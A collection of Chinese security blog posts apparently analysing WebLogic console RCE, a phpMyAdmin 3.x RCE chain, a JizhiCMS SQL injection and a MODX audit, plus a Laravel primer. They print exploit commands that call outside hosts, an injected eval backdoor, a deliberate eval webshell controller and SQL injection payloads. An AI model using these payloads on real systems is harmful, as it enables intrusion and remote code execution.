从createUIContext跟入到getTree，再跟入到processStream，再跟入到singleFileProcessor.getMergedControlFromFile，再跟入到getControlFactoryFromFile，再跟入到getControlFactoryFromFileWithoutCaching，最后在webapp目录下找到我们请求的portal文件，将文件流和sax转换器传进去进行解析，返回结果

如果在调试过程中发现上面提到的执行流程中有些方法未被调用，可以尝试重启docker容器，然后重新进行调试，因为上面提到的方法中有一部分只会在console第一次部署时被调用，可能是因为缓存的缘故导致后面再访问就不会再使用SAX解析器进行解析了

在上面的执行流程中导致目录穿越的代码位置为：ibs\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServletInternal.class

URLDecoder.decode执行完成后，我们的url路径(css/%2e%2e%2f)被再次解码，最终变成css/../consolejndi.portal，导致目录穿越

runLifecycle

该方法用于完成上面createUIContext解析后的模板的渲染工作

跟如该方法，继续跟入run方法

在这里有一个if语句，我么可以看到if和else的差别仅在于this.runInbound(context)是否被执行

这里的if语句判断条件前者我们已经满足，后面的context.isPostback()我们是不满足的，这个其实就是在判断UIContext对象的isPostback成员是否为true，而这个成员变量是在下面这个位置libs\netuix_servlet.jar!\com\bea\netuix\nf\UIContext.class#setServletRequest设置的

我们只要在发包的时候满足上面的任意一个条件即可将isPostback的值变为true，下面我们将请求进行更改，然后跟进this.runInbound(context)看其是否对漏洞触发存在影响

更改后的请求为http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_nfpb=true

跟进之后我们可以发现if分支比else分支多执行了一次processLifecycles(i, types, root, context, walkerPool)，且在runOutbound方法中isPostback依然会影响types变量的值

VistorType数组的定义如下：

libs\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class

static {
    inboundLifecycle = new VisitorType[]{VisitorType.initVisitorType, VisitorType.loadStateVisitorType, VisitorType.loadVisitorType, VisitorType.raiseEventsVisitorType};
    outboundLifecycle = new VisitorType[]{VisitorType.preRenderVisitorType, VisitorType.saveStateVisitorType, VisitorType.renderVisitorType};
    outboundNewTreeLifecycle = new VisitorType[]{VisitorType.initVisitorType, VisitorType.loadVisitorType, VisitorType.preRenderVisitorType, VisitorType.saveStateVisitorType, VisitorType.renderVisitorType};
    outboundResourceLifecycle = new VisitorType[]{VisitorType.preRenderVisitorType, VisitorType.resourceVisitorType, VisitorType.saveStateVisitorType};
    outboundNewTreeResourceLifecycle = new VisitorType[]{VisitorType.initVisitorType, VisitorType.loadVisitorType, VisitorType.preRenderVisitorType, VisitorType.resourceVisitorType, VisitorType.saveStateVisitorType};
    cleanupLifecycle = new VisitorType[]{VisitorType.disposeVisitorType};
    resourceLifecycle = new Lifecycle(inboundLifecycle, outboundResourceLifecycle, outboundNewTreeResourceLifecycle, cleanupLifecycle);
    baseLifecycle = new Lifecycle();
}

各数组成员的详细定义：

libs\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class

static {
    initVisitorType = new VisitorType("UIControl.init", ControlLifecycle.initVisitor, LifecycleStage.INIT);
    loadStateVisitorType = new VisitorType("UIControl.loadState", ControlLifecycle.loadStateVisitor, LifecycleStage.LOAD_STATE);
    loadVisitorType = new VisitorType("UIControl.load", ControlLifecycle.loadVisitor, LifecycleStage.LOAD);
    raiseEventsVisitorType = new VisitorType("UIControl.raiseChangeEvents", ControlLifecycle.raiseEventsVisitor, LifecycleStage.RAISE_EVENTS);
    preRenderVisitorType = new VisitorType("UIControl.preRender", ControlLifecycle.preRenderVisitor, LifecycleStage.PRE_RENDER);
    saveStateVisitorType = new VisitorType("UIControl.saveState", ControlLifecycle.saveStateVisitor, LifecycleStage.SAVE_STATE);
    renderVisitorType = new VisitorType("UIControl.render", ControlLifecycle.renderVisitor, LifecycleStage.RENDER);
    resourceVisitorType = new VisitorType("UIControl.resource", ControlLifecycle.resourceVisitor, LifecycleStage.RESOURCE);
    disposeVisitorType = new VisitorType("UIControl.dispose", ControlLifecycle.disposeVisitor, LifecycleStage.DISPOSE, true);
}

最终由于VistorType数组的不同导致生命周期的执行流程有所不同

这两个分支具体对漏洞的触发有无影响我们先放在这里，我们继续往下分析，如果有影响我们再回来看，我们暂时使用http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal触发断点，我们继续跟踪，调用栈如下：

wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServlet.class#doPost
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServlet.class#runLifecycle
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class#run
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class#runOutbound
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class#processLifecycles
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class#processLifecycles（重载）
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\nf\ControlTreeWalker.class#walk

这个就是深度优先遍历控件树的代码，walkRecursivePreRender会以递归的方式遍历控件树中的每一个控件

我们跟入该方法，这里会判断是否为根节点，然后分别调用不同的方法，不过最后还是会调用visit方法

我们跟入visit方法，最后我们需要跟入control.preRender()

回过头来看walkRecursivePreRender方法的代码，下面这个就是递归的主要代码，自己调用自己，我们可以跟一下这个方法，看一下每次调用时的控件类型

完整地跟下来并记录child的值（第一次的值在root变量中），我们得到如下结果：

control  : (com.bea.netuix.nf.ControlTreeRoot)
control  : (com.bea.netuix.servlets.controls.application.Desktop)
control  : (com.bea.netuix.servlets.controls.application.LookAndFeel)
control  : (com.bea.netuix.servlets.controls.application.PrimaryTheme)
control  : (com.bea.netuix.servlets.controls.application.Shell)
control  : (com.bea.netuix.servlets.controls.application.Head)
control  : (com.bea.netuix.servlets.controls.application.Body)
control  : (com.bea.netuix.servlets.controls.application.Header)
Main Page Book
control  : (com.bea.netuix.servlets.controls.window.Content)
not.used
control  : (com.bea.netuix.servlets.controls.window.Content)
control  : (com.bea.netuix.servlets.controls.layout.Layout)
control  : (com.bea.netuix.servlets.controls.layout.Placeholder)
Portlet Control: title [null] definition label: [WorkspaceMessagesPortlet] instance label : [jndi_portlet_messages] definitionId: [null] instanceId: [null] uniqueId: [t_jndi_portlet_messages] 
  class: [com.bea.netuix.servlets.controls.portlet.Portlet]
control  : (com.bea.netuix.servlets.controls.window.Content)
control  : (com.bea.netuix.servlets.controls.content.StrutsContent)

和下面这张图对比一下，可以发现完全一致，因此最先进行渲染的控件就是com.bea.netuix.servlets.controls.content.StrutsContent

另外，从consolejndi.portal文件中我们也能看出一致性

我们按照上面的顺序先找到ContentHeader_messages.portlet

然后打开该portlet文件

可以看到和我们一路跟下来的结果是一样的，由于上面的control.preRender方法无法直接跟入，我们可以先找到com.bea.netuix.servlets.controls.content.StrutsContent类，直接在它的preRender方法体中下断点，类的位置是wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\servlets\controls\content\StrutsContent.class，但是并没有preRender方法，那我们就看它的父类NetuiContent，在它的preRender方法中下断点

跟入getScopedContentStub方法，该方法最终返回一个StrutsStubImpl对象，然后执行其render方法

我们在StrutsStubImpl的render方法处下断点，跟入renderInternal方法

在renderInternal执行了一系列的初始化操作之后，最终执行executeAction方法，

跟入该方法的strutsLookup方法，继续跟入strutsLookupInternal方法，跟入org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup方法，再跟入wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\PageFlowUtils.class#strutsLookup，最后跟进as.doGet，这里的as是在下面这处完成实例化的，跟进getActionServlet我们可以看到实例化过程

我们可以在web.xml中看到对应关系，weblogic.servlet.AsyncInitServlet我们上面已经分析过了

as其实就是ConsoleActionServlet对象，我们跟入其doGet方法

再跟入super.doGet()，后面的调用栈如下：

wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\struts.jar!\org\apache\struts\action\ActionServlet.class#doGet
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\internal\ConsoleActionServlet.class#process
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\PageFlowActionServlet.class#process
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\AutoRegisterActionServlet.class#process
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\PageFlowRequestProcessor.class#process
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\PageFlowRequestProcessor.class#processInternal
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\struts.jar!\org\apache\struts\action\RequestProcessor.class#process
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\internal\ConsolePageFlowRequestProcessor.class#processActionPerform
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\utils\HandleUtils.class#getHandleContextFromRequest
wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\utils\HandleUtils.class#handleFromQueryString

这里我们需要传入handle参数，不然无法进入到后续的处理过程

我们直接使用触发代码执行的payload来触发断点：python.exe exp.py http://127.0.0.1:7001 whoami

我们继续跟入getHandle方法，在下面这段代码中完成类的实例化

其他组件的执行流程和content类似，不再赘述

触发漏洞

通过上面的分析，我们只需要构造正确的url并传入正确的handle参数值即可触发代码执行，参考这篇文章，有一点需要说的是，之前听说过该漏洞在执行命令时会重复执行一条命令若干次，这个其实很好解释，就是在遍历整个控件树的时候每次遍历一个节点都会触发一次漏洞代码，因此命令也就会被重复执行

我们用curl命令来进行测试，正常情况下结果文件中只有一行just test!!!

然后我们使用漏洞脚本执行这条命令：python exp.py http://127.0.0.1:7001 curl http://192.168.1.5/test.html ^>^> /tmp/res.txt

可以看到执行了8次！！！

phpmyadmin 3.x RCE审计

2020-09-01T00:00:00+02:00

前言

前段时间工作遇到了pma 3.x，版本挺低的，想着搜一下看有没有现成的exp来利用一下，然后就搜到了CVE-2011-2505和CVE-2011-2506联合导致的RCE漏洞

其中前者是$_SESSION变量的覆盖漏洞，后者是远程代码注入漏洞，两者联合可以将任意代码写入配置文件，利用的唯一条件是目标pma根目录下存在config目录

参考链接：

环境准备

IDEA配置php调试环境不必多说，也很简单，主要就是pma 3.x版本过低，找起来不太容易，这里直接提供下载链接，这里是pma 3.2.4

在测试第三个漏洞的时候，我发现pma 3.2.4并没有漏洞文件，全局搜索也未找到和漏洞描述相似的文件，因此直接去pma的github下载了3.4.2版本进行测试，

另外一点就是这个洞的调试不能直接在浏览器中调试，因为变量覆盖的地方是session销毁的地方，如果在浏览器中调试，在第二阶段利用过程中，服务器会向浏览器返回新的cookie，那么我们先前构造的$_session变量的值也就不存在了，因此我们需要对网上下载回来的exp脚本进行更改以进行调试

在脚本第39行增加$XDEBUG_SESSION_START = $argv[1];

修改101行内容为

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?XDEBUG_SESSION_START='.$XDEBUG_SESSION_START.'&_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);

修改112行内容为：

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?XDEBUG_SESSION_START='.$XDEBUG_SESSION_START.'&_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);

在执行exp时，使用如下形式即可：

C:\phpStudy\PHPTutorial\php\php-5.4.45-nts\php.exe C:\phpStudy\PHPTutorial\WWW\2.php http://localhost/phpMyAdmin-3.2.4-english/phpMyAdmin-3.2.4-english 14508

其中第一个参数为目标url，第二个参数为XDEBUG_SESSION_START的值

前台RCE漏洞分析

第一个漏洞 CVE-2011-2505

官方修复：

https://github.com/phpmyadmin/phpmyadmin/commit/7ebd958b2bf59f96fecd5b3322bdbd0b244a7967

漏洞文件：

libraries\auth\swekey\swekey.auth.lib.php，第266-276行

if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
    parse_str($_SERVER['QUERY_STRING']);
    session_write_close();
    session_id($session_to_unset);
    session_start();
    $_SESSION = array();
    session_write_close();
    session_destroy();
    exit;
}

这里的关键位置就是268行的parse_str函数，官方推荐用法是传入两个参数，第二个参数用于限定变量的名称，但是这里却只传入了第一个参数，因此我们可以随意控制变量的名称和值，官方修复方法是将268行的代码删除，并从$_GET['session_to_unset']获取要销毁的session

下面给出给函数的官方示例，方便理解：

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不推荐
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

我们在构造的QUERY_SETRING中将session_to_unset的值设置为x，这个其实就是告诉pma要销毁的sessionid，在PHP中，session文件以sess_cookie的形式进行存储，其中cookie就是我们的sessionid，因此我们只要设置一个和我们先前获取到的cookie值不一样的字符串即可避免session被销毁

第二个漏洞 CVE-2011-2506

官方修复：https://github.com/phpmyadmin/phpmyadmin/commit/0fbedaf5fd7a771d0885c6b7385d934fc90d0d7f

漏洞文件：

setup\lib\ConfigFile.class.php，第286-299行

if ($this->getServerCount() > 0) {
    $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf . $crlf;
    foreach ($c['Servers'] as $id => $server) {
        $ret .= '/* Server: ' . strtr($this->getServerName($id), '*/', '-') . " [$id] */" . $crlf
            . '$i++;' . $crlf;
        foreach ($server as $k => $v) {
            $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
            $ret .= "\$cfg['Servers'][\$i]['$k'] = "
                . var_export($v, true) . ';' . $crlf;
        }
        $ret .= $crlf;
    }
    $ret .= '/* End of servers configuration */' . $crlf . $crlf;
}

可以看到在第289行使用strstr函数检测$this->getServerName($id)中是否存在注释符，虽然这个地方被检测了，但是$ID并没有被检查，所以我们可以在这里做手脚，也就是说我们构造$c['Servers']的值闭合注释符号即可注入我们自己的代码，而$c['Servers']中的$c的值是$c = $_SESSION['ConfigFile'];，根据上一个漏洞，我们可以控制$_SESSION变量的值，那也就意味着我们可以控制$c变量的值，从而闭合注释符注入代码

官方的修复方法是对$id也进行了注释符的检测

exp脚本分析

根据上面的分析，我们前后一共需要发起三次请求：

第一次请求获取cookie和token并保存以待后用
第二次请求构造$_SESSION变量的值
第三次请求保存注入了我们的代码的配置文件到服务器的config目录

在setup\config.php的第49行file_put_contents($config_file_path, ConfigFile::getInstance()->getConfigFile());调用file_put_contents函数将注入代码写入配置文件，$config_file_path的值是./config/config.inc.php，从这里我们跟入ConfigFile::getInstance()->getConfigFile()

放开前一个漏洞文件的断点，跟入第二个漏洞文件，$ret最终的值为：

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.2.4 setup script by Piotr Przybylski <piotrprz@gmail.com>
 * Date: Wed, 02 Sep 2020 11:27:13 +0800
 */

/* Servers configuration */
$i = 0;

/* Server: localhost [*/foreach($_GET as $k=>$v)if($k==="eval")eval($v);/*] */
$i++;
$cfg['Servers'][$i]['port'] = '0';

/* End of servers configuration */

$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
?>

最后我们访问/config/config.inc.php即可进行命令执行等操作：

后台RCE漏洞分析

第三个漏洞 CVE-2011-2507

上面的两个漏洞联合可以触发前台RCE，后面的漏洞需要首先进行认证进入PMA后台才可以触发RCE，这个漏洞是利用的php的preg_replace函数存在的漏洞并结合第一个变量覆盖漏洞达到RCE的目的，根据Haxxor文章的分析，在php 5.3.6源代码的ext/pcre/php_pcre.c中，对preg_replace的第一个参数，也就是正则表达式的修饰符的处理中存在空字节截断的问题：

/*  Parse through the options, setting appropriate flags.  Display
    a warning if we encounter an unknown modifier. */
while (*pp != 0) {
    switch (*pp++) {
    /* Perl compatible options */
    case 'i': coptions |= PCRE_CASELESS;  break;
    case 'm': coptions |= PCRE_MULTILINE;  break;
    case 's': coptions |= PCRE_DOTALL;  break;
    case 'x': coptions |= PCRE_EXTENDED;  break;
    
    /* PCRE specific options */
    case 'A': coptions |= PCRE_ANCHORED;  break;
    case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break;
    case 'S': do_study  = 1;     break;
    case 'U': coptions |= PCRE_UNGREEDY;  break;
    case 'X': coptions |= PCRE_EXTRA;   break;
    case 'u': coptions |= PCRE_UTF8;
    /* In  PCRE,  by  default, \d, \D, \s, \S, \w, and \W recognize only ASCII
       characters, even in UTF-8 mode. However, this can be changed by setting
       the PCRE_UCP option. */
    #ifdef PCRE_UCP
    coptions |= PCRE_UCP;
    #endif  
    break;
 
   /* Custom preg options */
    case 'e': poptions |= PREG_REPLACE_EVAL; break;
    
    case ' ':
    case '\n':
    break;
 
    default:
        php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]);
        efree(pattern);
        return NULL;
    }
}

参考php官方手册对preg_replace函数的解释，从php 5.5.0开始，/e修饰符已经不被推荐，到了php 7.0.0，该函数已经被彻底移除，被preg_replace_callback()函数代替

在php 5.3.6以及之前的版本中，/e修饰符将会指示preg_replace_callback将第二个参数作为php代码去执行，参考下面的例子：

<?php
$pattern     = '/'.$_GET['a'].'/e';
$replacement = $_GET['b'];
$subject     = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);

这个运行机制就是每匹配到一个模式就会执行一次第二个参数中的代码，还有就是不管你模式字符串怎么写，只要匹配到，都会至少执行两次，未匹配到则不执行

我们可以参考Haxxor给出的示例：

<?php
$pattern     = '/omfglol'.$_GET['mypattern'].'/i';
$replacement = $_GET['replacement'];
$subject     = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);

先写一个正则表达式，该正则表达式需要保证一定能匹配到待匹配的字符串，对于例子中的情况（存在拼接）我们可以使用|.*，来保证能够匹配到并减少命令执行的次数，然后再用空字节截断使preg_replace函数忽略后面的/i修饰符从而使代码能够正常运行而不报错，然后跟上要执行的命令即可

本文的测试环境使用的是phpstudy，从测试结果来看，preg_replace在php 5.4之后就已经不存在了

漏洞利用分析

漏洞的触发点是/server_synchronize.php，还是和上面的利用过程相同，先获取token和cookie，这不过这里有所不同，就是cookie是认证通过后的cookie，相比之前的cookie会多一些字段：

然后再利用已经获取的token和cookie去构造$_SESSION变量，其中$_SESSION变量有两个键需要进行覆盖

_SESSION[trg_db]和_SESSION[uncommon_tables]，这两个变量的payload构造如下：

_SESSION[trg_db]=\`?phpinfo():'.$asdgajskdgas.';/**

_SESSION[uncommon_tables][0]=|/e%00

备注：第一次调试的时候，上面的payload的确是好使的，但是后来发现这样写会遇到下面的问题

在/server_synchronize.php的第504至513，会有一个判断：

foreach ($cons as $con) {
    if (${"{$con}_type"} != "cur") {
        ${"{$con}_link"} = PMA_DBI_connect(${"{$con}_username"}, ${"{$con}_password"}, $is_controluser = false, ${"{$con}_server"});
    } else {
        ${"{$con}_link"} = null;
        // working on current server, so initialize this for tracking
        // (does not work if user defined current server as a remote one)
        $GLOBALS['db'] = ${"{$con}_db"};
    }
} // end foreach ($cons as $con)

如果原始连接（src_type）目标连接（trg_type）的类型值不为cur，则代码会在这里终止，没办法往后走，因此在构造payload的时候需要另外加上_SESSION[src_type]=cur&_SESSION[trg_type]=cur

其中$asdgajskdgas是使用urlencode函数处理过的php代码，因为使用了问号冒号表达式，因此最后形成的payload中

`\``

将恒为假（php中的`有执行命令的意思，只有命令执行成功了才会返回true），因此这里的phpinfo()随便写一个合法的php语句即可，反正也不会被执行

完成$_SESSION变量的覆盖之后，我们需要使用前面获取的token和cookie对http://localhost/pma3.x/server_synchronize.php发起第二次请求，在发起请求的同时将XDEBUG_SESSION_START参数也带上，以进行调试

我们首先在/server_synchronize.php的第504行下断点，然后运行exp脚本开始调试

这里$_REQUEST[0]必须有值，我们才能进入for循环和下面的if语句，其次，$table_id[1]也不能为空，否则$uncommon_table_structure_diff数组将会是空的

如果$uncommon_table_structure_diff数组是空的，那么我们将无法进入PMA_createTargetTables函数，也就无法触发RCE，因此我们在传入的参数中要加上0=123US0，这个参数中US后面的数字最后会影响到$uncommon_table_structure_diff[$s]，在第一次循环中$s为0，也就是$uncommon_table_structure_diff数组的第一个值，这个值将会成为$uncommon_tables变量的索引，在上面构造payload的时候我们只写了_SESSION[uncommon_tables][0]=|/e%00，因此我们也要把US之后的数字设置为0以保证exp的正确运行

我们跟入PMA_createTargetTables函数来看一看我们的payload最后变成了什么样子：

这里%00无法显示，不过已经插进去了

$a1 = "/`|/e"
$a1 = "`\``?phpinfo():system("ftp 114.x.x.95");/**`.`|/e"

可以看到我们构造的payload正好将用于转义我们的`使用\给转义了

进而消除了PMA_backquote函数带来的负面影响

我们可以看到vps已经收到了数据包：

至此，命令执行完毕

对之前的payload进行更改，并完善了exp脚本之后，最终的效果如下：

exp接收四个参数，依次为pma_url、username、password、cmd

后记

在阅读作者的文章时，十分震撼，别人只是在relax的时候读了读pma的源码，就审出了好几个CVE，着实是太强了，另外在审计的过程中也学习到了session和cookie的关系和工作机制，对php的了解也更深入了一些

第三个漏洞导致的RCE的exp脚本，是受到Haxxor的博文下面的评论的提示并基于https://www.exploit-db.com/exploits/17514编写出来的，其实根据上面的分析也基本上可以写出来利用脚本了，不过有需要的同学可以在公众号后台留言获取exp脚本

laravel漏洞详解

2020-07-31T00:00:00+02:00

前言

参考文章：

https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ

环境搭建

使用composer安装laravel，注意在安装composer时选择php可执行文件时尽量选择高版本php，因为低版本可能不支持laravel 5.6版本

配置国内源：

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

在apache的网站根目录创建一个laravel文件夹，在该目录下执行composer create-project laravel/laravel=5.6.*即可启动安装

laravle安装完成后我们需要配置一下虚拟主机：

<VirtualHost *:80>
     ServerName laravelht.vn
     DocumentRoot  C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public
     SetEnv APPLICATION_ENV "development"
     <Directory C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public>
         DirectoryIndex index.php
         AllowOverride All
         Require all granted
         Order allow,deny
         Allow from all
     </Directory>
 </VirtualHost>

注意上面的虚拟主机配置文件的根目录是laravel/public，这样可以避免laravel框架的其他文件暴露在网络中

至此，环境搭建完毕

了解laravel

laravel是典型的MVC框架

路由与控制器

打开routes目录下的web.php，可以看到如下内容：

<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function () {
    return view('welcome');
});

可以看到访问网站根目录会返回welcome视图，该视图的文件位于：resources/views/welcome.blade.php

我们可以自己新增一个路由：

Route::get('/webshell', function () {
    return "this is a webshell";
});

上面是路由相关的一些东西，下面我们再介绍一下控制器相关的知识

在laravel目录下有一个artisan的文件，它可以帮助我们完成一些工作，它可以帮助我们生成控制器、操作数据库，我们可以使用如下命令生成一个控制器：

php artisan make:controller CommentController

执行完这条命令之后就会在app/Http/Controllers目录下生成一个CommentController控制器，文件绝对路径为C:\phpStudy\PHPTutorial\WWW\laravel\laravel\app\Http\Controllers\CommentController.php

内容如下：

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class CommentController extends Controller
{
    //
}

现在我们在CommentController控制器中编写一个index方法，内容如下：

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class CommentController extends Controller
{
    public function index() {
        @eval(request()->input('cmd'));
    }
}

然后我们要在路由（web.php）中去调用这个控制器中的方法：

Route::any("index","CommentController@index");

其中，any指所有请求方法，我们也可以单独指定为get、post等请求方式

现在我们访问http://laravelht.vn/index?cmd=phpinfo();结果如下：

另外这个地方由于laravel防CSRF攻击的策略导致无法直接发送POST请求：

laravel数据库操作内核分析

在项目文件夹下的.env文件中进行数据库的配置：

新建一个控制器进行数据库的连接测试

C:\phpStudy\PHPTutorial\php\php-7.2.1-nts\php artisan make:controller UserController

内容如下：

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use DB;

class UserController extends Controller
{
    public function index(Request $request) {
        $id = $request->input("id");
        $data = DB::table("users")->where("id", $id)->get();
        dump($data);
    }
}

注册路由：

Route::any("db/index","UserController@index");

测试是否能够正常返回数据

这个时候我们就可以通过下断点来进入laravel的数据库处理操作的内部代码了，在下面这两个地方下断点：

极致CMS代码审计——SQL注入

2020-07-28T00:00:00+02:00

前言

划水的时候无意中看到了一篇关于极致CMS代码审计的文章，正好无事可做，照着文章上的复现一波，在此记录一下

参考文章：

极致CMS -- PHP代码审计 SQL注入漏洞

审计思路以及环境准备

从极致CMS官网的版本更新日志中发现最新版本较上一版本的更新差异

查看v1.8的更新日志

说明在上一版本存在SQL语句报错信息直接显示到页面上的问题，因此我们将v1.7.1版本下载下来，进行代码审计，重点审计SQL注入

这里代码调试环境我们选择JetBrains的IDEA，通过xdebug进行php代码的调试

CMS源代码下载链接：极致CMS--v1.7.1

由于一些我也不太清楚的原因，我只能把代码解压到网站根目录才可以正常进行安装和访问，之前审计laravel时也出现过问题，通过设置vhost解决

审计过程

我们直接切入主题，查看SQL语句执行的地方，随便找一个SQL查询的语句

通过上面的方式，找到进行SQL查询的代码

打开对应文件C:\phpStudy\PHPTutorial\WWW\123\jizhicms_Beta1.7.1\FrPHP\Extend\DB_API.php查看SQL查询相关代码

跟入getData方法

跟入query方法

可以看到这里SQL语句是没有进行任何过滤的

直接调用pdo的query方法进行数据库的查询，这里我们全局搜索一下DB_API这个类调用的地方，发现一共只有一处：C:\phpStudy\PHPTutorial\WWW\static\common\user\uedit\php\Uploader.class.php的387行，且只调用了其set_table方法，因此这个地方我们并没有办法去利用，因此需要再去寻找一处可以进行传参的SQL语句查询代码

通过参考文章了解到，该CMS查询SQL的方法为find和findAll，因此我们只需要全局搜索find方法出现的地方即可

在C:\phpStudy\PHPTutorial\WWW\Home\c\MypayController.php找到符合条件的代码

使用chrome的postman插件构造出报错注入的payload即可触发SQL报错注入：

构造请求http://localhost/index.php/mypay/alipay_return_pay?out_trade_no=1%27%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+%22

MODX evolution 1.0.5代码审计

2020-07-05T00:00:00+02:00

前言

最近的工作中遇到了一个使用MODX搭建的网站，而这个站碰巧licong师傅也看过，在他的指导下开始了对MODX源代码的审计

版本探测

MODX的管理路径为xxx.com/manager

直接google搜索MODX history release，从搜索结果中可以找到两个网站提供历史发行版本下载：

实际上MODX有两套CMS，一套叫做evolution，另一套叫做revolution

从MODX的github仓库中我们可以找到相关链接

通过下载这两套CMS并进行本地搭建之后与网站进行对比，确定网站所使用的的版本：

搜索相应版本是否存在漏洞

在官网上找到一个<=1.1的RCE漏洞

网站上的描述是说MODX的Ajaxsearch, eForm和evoGallery组件存在远程命令执行漏洞，就只有这么一句话，下面我们就根据这条线索对源代码进行审计

环境搭建

MODX安装

下载完对应版本的源代码之后解压到根目录，访问进行安装，我这里使用的是php5.3 nts，跟着安装向导走，在创建数据表的地方会报错

老版本的MySQL使用TYPE而不是ENGINE，我使用的mysql版本为5.5.53，已经不支持TYPE，因此需要全局替换

出现如下页面即代表环境搭建成功

调试环境的搭建

php调试选择xdebug，这里我使用的是开发工具是IDEA，IDEA会自动检测到php文件并提示安装php相关插件，php运行环境的配置如下，xdebug的安装方式可以通过点击进行官网查看

由于审计过程中需要使用postman构造POST请求，为了能够正常调试，需要在请求的URL后面加上xdebug的session：?XDEBUG_SESSION_START=14759

注意每次调试XDEBUG_SESSION_START的值都会改变

在调试代码的过程中，我们可能会想要输出中间变量，这里有一个小技巧，就是使用print_r输出数组的时候可以使用如下方式进行输出，方便我们查看数组结构：

审计代码

根据官网的描述，我们先从Ajaxsearch组件入手，使用Seay源代码审计系统自动审计，先筛选出存在远程命令执行漏洞风险且与Ajaxsearch组件相关的文件

在MODX 1.0.5的源代码中Ajaxsearch组件的入口文件只有一个evolution-1.0.5\assets\snippets\ajaxSearch\ajaxSearchPopup.php

直接在该文件的入口下断点，单步调试，调试完改文件之后得出的结论就是，payload中必须包含search和as_version，其中前者只要值不为空即可，后者值必须为1.9.2

该文件中除了run方法之外，不存在能够出发代码执行的操作，因此跟入run方法

run方法是AjaxSearch类的方法，它负责完成ajax搜索，通读该类文件发现需要再跟入到AjaxSearchCtrl类的run方法中

跟入run方法，执行AjaxSearchResults类的getSearchResults方法，根据上面自动审计的结果，该类文件的_doFilter方法可能存在命令执行漏洞

$this->_filterValue = eval(substr($filterArray[1], 5));

在_doFilter方法处下断点进行调试，发现我们根本没有进入该方法，直接返回了结果

我们回到AjaxSearch类文件中，在调用AjaxSearchCtrl类的run方法处下断点跟入

发现$valid的值为false，无法进入可能存在漏洞的代码，因此我们跟入AjaxSearchInput类的display方法一探究竟

问题出在AjaxSearchInput类文件的165行，由于我们的AjaxSearchConfig类对象的成员变量cfg值为null，导致$this->asCfg->cfg['maxWords']为一个不存在的值，任意一个有值的变量都满足该if条件，最终导致valid变量为false

asCfg成员变量是一个引用，在AjaxSearchInput类的init方法中初始化，在此方法体中下断点

查看调用栈，找到$asCfg变量初始化的地方：AjaxSearch类文件，if (!$asCfg->initConfig($msgErr)) return $msgErr;

